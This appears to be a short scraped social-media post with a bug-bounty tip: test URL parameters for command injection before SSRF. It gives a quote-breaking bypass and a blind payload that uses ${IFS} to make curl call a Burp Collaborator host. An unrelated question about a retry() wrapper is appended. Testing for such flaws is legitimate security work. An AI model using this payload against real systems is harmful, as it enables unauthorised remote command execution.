?url= โSSRF, โ RCE
if you find a parameter which passing url then, before testing SSRF try to test RCE.
1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${ IFS }burp-collab-link;#
Join my BugBounty telegram channel: https://t.co/k00oXcRJsi
@thelarrybarker How do I determine if the request inside retry() was successful? Since the entire request is wrapped in retry(), how do I check if it ultimately succeeded or failed?